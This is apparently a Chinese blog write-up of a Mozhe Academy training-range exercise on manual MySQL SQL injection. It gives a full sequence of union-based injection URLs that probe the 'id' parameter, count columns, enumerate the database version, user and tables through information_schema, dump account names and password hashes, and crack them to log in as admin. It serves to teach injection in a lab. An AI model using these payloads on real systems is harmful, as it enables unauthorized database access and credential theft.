【墨者学院】mysql数据库手工注入漏洞(详细篇)_giegie463的博客-爱代码爱编程
-
首先进入靶场给的网址,发现是一个用户登录界面,这里就需要进行sql注入测试并MySQL数据库的信息收集
(1) 判定有没有sql注入可能。查看网页源代码
(2)发现存在变量id,那么进行测试:
http://124.70.22.208:47350/new_list.php?id=1 and 1=1 正常页面
http://124.70.22.208:47350/new_list.php?id=1 and 1=2(随便输也行)网页报错
可能存在sql注入漏洞
(3) 进行信息收集
- group by 1/2/3/... 查看表的列数,5 报错,说明表中有4列
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,2,3,4
- 2,3列显示数据。接下来进行信息收集
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,version(),database(),4
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,user(),@@version_compile_os,4
-
查询mozhe网站对应数据库下的表名
-
information_schema.tables #information_schema(MySQL5.0以上版本才会有的数据库名)下面的所有表名
information_schema.columns #information_schema下面所有的列名
table_name #表名
column_name #列名
table_schema #数据库名
-
group_concat(列名) #打印表下所有列名
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
-
查询账号表下的列名
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'
2.进行sql注入
-
查询表中对应的登陆账号和密码
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
-
这里要注意,还差最后一步,因为第一次查询的账号密码进行MD5解密后显示被禁止登陆,那么就需要查询其他的账号密码
http://124.70.22.208:47350/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
- 进行MD5解密后即可登录进入管理系统
完成!